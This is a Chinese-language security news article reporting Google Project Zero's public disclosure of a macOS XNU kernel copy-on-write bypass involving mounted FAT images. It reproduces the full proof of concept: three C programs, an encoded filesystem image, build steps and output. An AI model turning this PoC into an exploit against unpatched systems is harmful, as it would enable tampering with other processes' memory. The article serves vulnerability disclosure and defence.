速看!谷歌公开苹果 macOS 内核中的高危 0day 漏洞详情和 PoC
编译:360代码卫士团队
由于苹果未能在收到通知后的90天内推出补丁,谷歌Project Zero团队公开披露了macOS操作系统中一个高危漏洞的详情和PoC。
该漏洞是由研究员Jann Horn发现并由Ian Beer演示的。该漏洞存在于macOS XNU内核允许攻击者在未通知操作系统的情况下操纵文件系统图像的方式中。
写入时复制,也被称为“COW”,它是计算机编程中使用的一种资源管理优化策略。一般来说,如果任何进程(目标)要求已存在于内存中但由另外的进程(源)创建的文件或数据,那么这两个进程可以共用同样的资源,而无需新建拷贝,这就极大地减少了未修改副本的资源消耗。
然而,如果源进程需要对数据做出修改,那么COW就开始发挥作用,创建副本以便目标进程仍然能够访问该数据。
详情
Jann Horn 指出,XNU具有各种接口,允许在进程之间创建写入时复制数据副本,包括mach消息中的外部消息描述符。保护复制内存免遭源程序后续修改这一点很重要,否则源进程可能能够利用目标进程中的双读(double-reads)。
这种写时复制行为不仅适用于匿名内存,也适用于文件映射。这意味着在目标进程开始从转移的存储区读取时,内存压力可能导致持有转移内存的页面被内存缓存逐出,之后从后台文件系统重新加载。
也就是说,如果攻击者能够在不通知虚拟管理子系统的情况下改变磁盘文件,那么它就是一个安全漏洞,可被用于诱骗目标进程将被操纵的恶意内容加载到内存中。
macOS允许普通用户挂载文件系统镜像。当挂载的文件系统镜像被直接更改时(例如通过调用文件系统镜像上的pwrite()
),该信息就不会传播到已安装的文件系统中。
另外,Jann Horn 还曾通过滥用macOS操作系统上的另外一个函数找到了类似的COW行为绕过漏洞(CVE-2019-6208)。
Jann Horn 在2018年11月将这两个漏洞同时告知苹果公司,后者也私下证实它们的存在。苹果公司在今年1月份的更新中修复了后一个漏洞,但90天期限过后第一个漏洞仍未修复。
PoC
如下是简单的PoC,用于演示该问题。为简单起见,已分拆成几部分:
buggycow.c (opens a file from a FAT image mount, creates a CoW mapping, and
reads from it when requested):
===============
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
int main(void) {
setbuf(stdout, NULL);
int fd = open("/Volumes/NO NAME/testfile", O_RDWR);
if (fd == -1) err(1, "open");
unsigned int *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
pointer_t cow_mapping;
mach_msg_type_number_t cow_mapping_size;
if (vm_read(mach_task_self(), (mach_vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
if (cow_mapping_size != 0x4000) errx(1, "vm read size");
while (1) {
printf("orig mapping has value 0x%x, cow mapping has value 0x%x\n", *mapping, *(unsigned int*)cow_mapping);
printf("press enter to continue: ");
getchar();
}
}
===============
mod.c (modifies file contents inside the FAT filesystem image):
===============
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
int fd = open("fatimg.img", O_RDWR);
if (fd == -1) err(1, "open");
if (pwrite(fd, "AAAA", 4, 0x37000) != 4) err(1, "pwrite");
printf("done\n");
}
===============
pressure.c (creates memory pressure; you may have to change `SIZE` such that it
is significantly bigger than the amount of RAM in your test machine):
===============
#include <err.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#define SIZE (1024UL*1024UL*1024UL*20UL)
int main(void) {
int fd = open("spamfile", O_RDWR|O_TRUNC|O_CREAT, 0666);
if (fd == -1) err(1, "open");
if (ftruncate(fd, SIZE)) err(1, "ftruncate");
char *mapping = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
if (madvise(mapping, SIZE, MADV_RANDOM)) err(1, "madvise");
puts("mapped");
for (unsigned long off = 0; off < SIZE; off++) {
mapping[off] = 42;
}
puts("done");
}
===============
fatimg.img.bz2.base64 (FAT filesystem with a single file "testfile" in
it, which contains the string "HELLO WORLD AAAA", stored at offset 0x37000):
===============
QlpoOTFBWSZTWWCuw5MFfk7//d/7wSDRITEEZ2ffiTfv3KZAAEgIAJQECUBCBAlAybABOE1hqp+i
kfkjETATJkwJgGiGIY1NM1PQEbU2jRqFTIjRmpo0ADRoMgAAAAGTJgTIARSSIaaZNGjQNAAAAAGg
AAaNAGJ+LRgQ8YFAZoEEE/idIUFFFRJ4qiiqibs6RBGfFDBkXMCKKKqJFHpmCRSJUy7KhlXpv+9v
3xSiKkuWmWKvXPKtepMgooqomAQta6v5itC2YCvDFO2sRZn2nInTRQ0JDp3gdpjD2ksNgl5x3wDH
Im3IkclmyVSy9hRzIWICM3xvZFLMqoTCM/zPU/QuS7kTsbg0EpXafayp5MmFUFvIVffyBxYWMQxC
mELiRSUEmFTeEU2GyYJz4a6Bk9/eOGIUssEiThI2PAmlnHmgOGYdB6KHlZpCKIIOtCUdYeCKc8zg
de5s8XX09eXR3r0f+n1NGwwBRRVRJ1oZEJSIkf5igrJMprIcE8W+Ar8cgAGAAAAQQABhAJqMhUBL
UhUBLmKCskymsgePd5wAyE6AEYAAAAQAEEAAYZgKU0yogi2Kogi8XckU4UJCdb3A9A==
===============
复现过程
解压并编译如下文件:
$ base64 -D < fatimg.img.bz2.base64 | bunzip2 > fatimg.img
$ cc -o buggycow buggycow.c
$ cc -o mod mod.c
$ cc -o pressure pressure.c
$
挂载文件系统图像(例如,在查找器中双击)
在一个终端中:
$ ./buggycow
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
press enter to continue:
在另外一个终端中:
$ ./mod
done
$ ./pressure
mapped
如果你在“顶部”看到while中不再存在物理内存,或当./pressure完成运行,则返回第一个终端并按下Enter键。结果如下:
$ ./buggycow
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
press enter to continue:
orig mapping has value 0x41414141, cow mapping has value 0x41414141
press enter to continue:
(奇怪的是,当你杀死./pressure helper,例如通过CTRL+C实现,几分钟之后进程才会真正消失。)
Ian Beer还做出另外一个PoC,证明它还适用于通过mach信息中的外部描述符创建的COW映射。具体请查看原文链接。
推荐阅读
原文链接
https://bugs.chromium.org/p/project-zero/issues/detail?id=1726&q=
https://thehackernews.com/2019/03/cybersecurity-macos-hacking.html
本文由360代码卫士编译,不代表360观点,转载请注明“转自360代码卫士 www.codesafe.cn”。